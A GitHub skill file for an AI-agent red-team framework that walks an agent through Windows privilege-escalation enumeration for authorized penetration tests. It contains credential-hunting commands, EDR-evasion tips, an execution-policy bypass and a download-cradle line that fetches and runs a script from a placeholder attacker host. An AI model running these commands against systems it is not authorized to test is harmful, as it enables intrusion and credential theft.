blacklanternsecurity

windows-discovery

Windows local privilege escalation enumeration and attack surface mapping.

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/windows-discovery

Install via the SkillsCat registry.

SKILL.md

Windows Local Privilege Escalation Discovery

You are helping a penetration tester enumerate a Windows system for local privilege
escalation vectors. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [windows-discovery] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

Scope Boundary

This skill covers Windows host discovery — enumerating system configuration,
identifying privilege escalation vectors, and routing to technique skills. When
you reach the boundary of this scope — whether through a routing instruction
("Route to skill-name") or by discovering findings outside your domain —
STOP.

Do not load or execute another skill. Do not continue past your scope boundary.
Instead, return to the orchestrator with:

  • What was found (vulns, credentials, access gained)
  • Recommended next skill (the bold skill-name from routing instructions)
  • Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill
thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you
encounter a scenario not covered here, note it and return — do not improvise
attacks, write custom exploit code, or apply techniques from other domains.
The orchestrator will provide specific guidance or route to a different skill.

Do NOT spider or enumerate SMB shares. Never run nxc smb, spider_plus,
manspider, smbclient, or any remote share enumeration tool. Share spidering
is performed from the attackbox by ad-discovery or network-recon — not from
inside a low-privilege shell. If net share (the only allowed share command)
reveals a share not already in engagement state, record it as an interim finding
via add_vuln() and note it in your return summary. Do not connect to it, read
its contents, or spider it — a different agent handles that from the attackbox.

State Management

Call get_state_summary() from the state-interim MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Interim Writes

Write actionable findings immediately via state-interim so the orchestrator
can react in real time (via event watcher) instead of waiting for your full
return summary. Use these tools as you discover findings:

  • add_credential() — cleartext creds in scheduled tasks, registry, config files, PowerShell history, unattend.xml
  • add_vuln() — confirmed vulnerabilities (unquoted service paths, weak service permissions, AlwaysInstallElevated, HiveNightmare)
  • add_pivot() — additional NICs/subnets discovered via ipconfig /all/route print, new hosts from ARP table
  • add_blocked() — techniques attempted and failed (so orchestrator doesn't re-route)

Do NOT write to activity.md, findings.md, or modify targets/ports/access.
The orchestrator manages those. Still report all findings in your return summary —
interim writes supplement it, they don't replace it.

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Shell access on a Windows system (cmd.exe, PowerShell, or webshell)
  • Know current user context (whoami)
  • Enumeration tools available on target or transferable

Step 1: System Information

Gather baseline system information for exploit matching and context.

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
hostname
[System.Environment]::OSVersion.Version
Get-ComputerInfo | Select-Object CsName, OsName, OsVersion, OsArchitecture, OsBuildNumber, WindowsVersion
wmic os get Caption, Version, BuildNumber, OSArchitecture

Key outputs to note:

  • OS version and build number (determines which exploits/Potatoes work)
  • Architecture (x86 vs x64 — affects binary compatibility)
  • Hotfix count and list (determines kernel exploit eligibility)
  • Domain membership (affects lateral movement options)

Patch analysis (offline — run on attacker machine):

# WES-NG — compare systeminfo against known vulnerabilities
python3 wes.py --update
python3 wes.py systeminfo.txt

Watson (on target — .NET 2.0+):

Watson.exe

Step 2: User Context and Privileges

This is the highest-priority check — token privileges determine immediate escalation paths.

OPSEC WARNING: whoami and whoami /priv are heavily monitored by EDR (CrowdStrike
triggers on these). In OPSEC-sensitive engagements, prefer inferring privileges from
context or using alternative methods:

# OPSEC-safe alternatives (less signatured than whoami)
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }

# Check specific privilege without whoami
[bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")  # Is admin?

# Token privileges via .NET (no whoami.exe process creation)
Add-Type -TypeDefinition @"
using System;using System.Runtime.InteropServices;
public class Priv{
    [DllImport("advapi32.dll",SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr h,uint a,out IntPtr t);
    [DllImport("advapi32.dll",SetLastError=true)]
    public static extern bool GetTokenInformation(IntPtr t,int c,IntPtr i,int l,out int rl);
}
"@

If OPSEC is not a concern (CTF, lab, or already detected):

whoami /all
whoami /priv
whoami /groups

Infer privileges from context when possible:

  • Running as a Windows service → likely has SeImpersonatePrivilege
  • IIS AppPool / MSSQL service → SeImpersonatePrivilege + SeAssignPrimaryTokenPrivilege
  • Scheduled task as SYSTEM → full privileges
  • Local admin in medium integrity → all privileges present but most disabled (UAC)

Critical privileges to check:

Privilege Escalation Path Route To
SeImpersonatePrivilege Potato family → SYSTEM windows-token-impersonation
SeAssignPrimaryTokenPrivilege Potato family → SYSTEM windows-token-impersonation
SeDebugPrivilege Token duplication from SYSTEM process windows-token-impersonation
SeBackupPrivilege Read SAM/SYSTEM hives → hash extraction windows-token-impersonation
SeTakeOwnershipPrivilege Take ownership of any object → modify DACL windows-token-impersonation
SeRestorePrivilege Write any file → DLL hijack / binary replace windows-token-impersonation
SeLoadDriverPrivilege Load vulnerable kernel driver → SYSTEM windows-token-impersonation
SeManageVolumePrivilege Raw volume read → SAM/secrets extraction windows-token-impersonation

User and group context:

net user %USERNAME%
net user
net localgroup
net localgroup administrators
Get-LocalUser | ft Name, Enabled, LastLogon
Get-LocalGroup | ft Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Check for privileged group membership (abuse-able even without admin):

  • Backup Operators → SeBackupPrivilege
  • DnsAdmins → DLL loading on DC
  • Hyper-V Administrators → VM access
  • Print Operators → SeLoadDriverPrivilege
  • Remote Desktop Users → RDP access
  • Remote Management Users → WinRM access
  • Event Log Readers → security log access

Step 3: Services and Processes

Enumerate services for misconfigurations that enable privilege escalation.

sc query state= all
wmic service list brief
tasklist /SVC
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v "\""

Unquoted service paths:

# PowerUp
Get-ServiceUnquoted -Verbose

# Manual
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'

Service permissions (writable services):

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
accesschk.exe -ucqv <service_name>

Service binary permissions:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
Get-WmiObject win32_service | Select-Object Name, StartMode, PathName | Where-Object {$_.PathName -notlike "C:\Windows*"} | ForEach-Object { $p = ($_.PathName -split '"')[1]; if($p) { icacls $p } }

Service registry ACLs:

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Users Path Everyone"

Running processes (identify DLL hijacking targets):

tasklist /v
wmic process list full
Get-Process | Select-Object Name, Id, Path | Where-Object {$_.Path -notlike "C:\Windows\System32\*"} | Sort-Object Path

Interim writes: Unquoted service paths or writable service binaries found →
add_vuln(title="Unquoted service path: <service>", host="<host>", vuln_type="service-misconfig", severity="medium").
Writable service configuration → add_vuln(title="Modifiable service: <service>", host="<host>", vuln_type="service-misconfig", severity="high").

Any finding here → STOP. Return to orchestrator recommending
windows-service-dll-abuse. Pass: hostname, current user, specific findings
(unquoted paths, writable binaries, modifiable services, DLL hijack targets),
OS version. Do not execute exploitation commands inline.

Step 4: Scheduled Tasks and Autorun

schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName, TaskPath, State

Check startup folder permissions:

dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

AlwaysInstallElevated (MSI install as SYSTEM):

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both must return 0x1 — if so, STOP. Return to orchestrator recommending
windows-uac-bypass. Pass: hostname, current user, AlwaysInstallElevated
confirmation, OS version. Do not execute MSI payload commands inline.

Step 5: Network and Shares

ipconfig /all
route print
arp -a
netstat -ano
net share

Internal-only services (127.0.0.1 listeners):

netstat -ano | findstr LISTENING | findstr 127.0.0.1

Look for: databases (3306/5432/1433), web interfaces (8080/8443), management (5985/5986).

Interim writes after network enumeration:

  • Additional NIC found via ipconfig /alladd_pivot(source="<host> <adapter>", destination="<subnet>", method="Additional NIC — pivot candidate")
  • New hosts from arp -aadd_pivot(source="<host> ARP table", destination="<new_host>", method="ARP neighbor discovery")

SNMP community strings:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s

WiFi passwords:

netsh wlan show profile
netsh wlan show profile <SSID> key=clear

Firewall rules:

netsh advfirewall firewall show rule name=all
netsh firewall show config

Step 6: Credential Hunting (Quick Scan)

Fast checks for stored credentials before running full harvesting tools.

Windows Credential Manager:

cmdkey /list

If entries found → runas /savecred /user:<user> cmd.exe

Registry credentials:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query HKLM /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"
reg query HKCU /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"

Unattend/sysprep files:

dir /s /b C:\*unattend.xml C:\*sysprep.xml C:\*sysprep.inf 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul | findstr /i password

IIS web.config:

Get-Childitem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr connectionString

PowerShell history:

type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath | Select-String -Pattern "passw|cred|secret|key|token"

PuTTY/SSH saved sessions:

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\OpenSSH\Agent\Keys"

HiveNightmare (CVE-2021-36934) — check if exploitable:

icacls C:\Windows\System32\config\SAM

If BUILTIN\Users:(I)(RX) appears → SAM readable by non-admin users.

Interim writes: Any cleartext credentials found in registry, unattend files,
PowerShell history, or config files — write immediately:
add_credential(username=..., secret=..., source="<location> on <host>").

Any credentials found → STOP. Return to orchestrator recommending
windows-credential-harvesting. Pass: hostname, current user, credential
locations found, OS version. Do not execute credential extraction commands
inline.

Step 7: Security Controls Detection

wmic /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName 2>nul
Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, AMServiceEnabled

LSASS protection:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

Credential Guard:

reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v LsaCfgFlags

UAC level:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

ConsentPromptBehaviorAdmin=0 means UAC disabled. EnableLUA=0 means UAC entirely off.

AppLocker / WDAC:

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

Step 8: Automated Enumeration Tools

When manual checks are insufficient, run comprehensive tools.

WinPEAS (comprehensive — includes Watson):

winpeas.exe quiet systeminfo userinfo servicesinfo applicationsinfo networkinfo windowscreds
winpeas.exe quiet fast
winpeas.exe quiet log=winpeas_output.txt

PowerUp (PowerSploit):

. .\PowerUp.ps1
Invoke-AllChecks

Key checks: Get-ServiceUnquoted, Get-ModifiableServiceFile, Get-ModifiableService,
Find-PathDLLHijack, Find-ProcessDLLHijack, Write-UserAddMSI.

Seatbelt (GhostPack):

Seatbelt.exe -group=all -outputfile=seatbelt.txt
Seatbelt.exe -group=system
Seatbelt.exe -group=user

PrivescCheck:

. .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended
Invoke-PrivescCheck -Extended -Report PrivescCheck_Results -Format HTML

JAWS (PowerShell):

. .\jaws-enum.ps1

Step 9: Routing Decision Tree

Based on enumeration findings, route to the appropriate technique skill:

Token Privileges Found

SeImpersonate, SeAssignPrimaryToken, SeDebug, SeBackup, SeTakeOwnership,
SeRestore, SeLoadDriver, SeManageVolume
→ STOP. Return to orchestrator recommending windows-token-impersonation.
Pass: hostname, current user, specific privileges found, OS version and build,
Do not execute token impersonation commands inline.

Service Misconfigurations Found

Unquoted service paths, writable service binaries, modifiable service config,
weak service registry ACLs, DLL search order hijacking, writable PATH directories,
auto-updater abuse
→ STOP. Return to orchestrator recommending windows-service-dll-abuse. Pass:
hostname, current user, specific findings (unquoted paths / writable binaries /
modifiable services / DLL hijack targets), OS version. Do not execute
exploitation commands inline.

UAC Bypass Needed

High-integrity needed but running medium-integrity, UAC enabled,
AlwaysInstallElevated
→ STOP. Return to orchestrator recommending windows-uac-bypass. Pass:
hostname, current user, integrity level, UAC settings, AlwaysInstallElevated
status, OS version. Do not execute UAC bypass commands inline.

Stored Credentials Found

Registry passwords, unattend files, PowerShell history, DPAPI blobs,
HiveNightmare, credential vault entries
→ STOP. Return to orchestrator recommending windows-credential-harvesting.
Pass: hostname, current user, credential locations found (registry / unattend /
history / vault), OS version. Do not execute credential extraction commands
inline.

Missing Patches / Kernel Vectors

Watson/WES-NG hits, old OS without patches, vulnerable drivers loaded,
BYOVD candidates
→ STOP. Return to orchestrator recommending windows-kernel-exploits. Pass:
hostname, OS version and build, installed hotfixes, Watson/WES-NG output,
vulnerable drivers identified. Do not execute kernel exploits inline.

Multiple Vectors Found

Present all findings ranked by reliability and OPSEC:

  1. Token impersonation (if SeImpersonate — near-certain, low OPSEC)
  2. Service/DLL abuse (if writable — reliable, medium OPSEC)
  3. Stored credentials (if found — immediate value)
  4. UAC bypass (if needed — reliable, low-medium OPSEC)
  5. Kernel exploits (last resort — may crash system)

When routing, pass along: hostname, OS version, current user, integrity level,
specific findings.

Troubleshooting

WinPEAS blocked by AV

Use winpeas.bat (batch version) or manual checks from Steps 1-7. SharpUp is a
C# alternative that may evade signature-based detection.

PowerShell execution restricted

Use powershell -ep bypass -File script.ps1 or load via download cradle:
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')

Limited shell (webshell or restricted cmd)

Focus on whoami /priv, systeminfo, netstat -ano, and reg query — these work
in most restricted contexts. Transfer WinPEAS binary if file upload available.

No tools transferable

Manual enumeration using Steps 1-7 covers the most common vectors using only
built-in Windows commands. Focus on whoami /priv (Step 2) and service
enumeration (Step 3) as highest-value manual checks.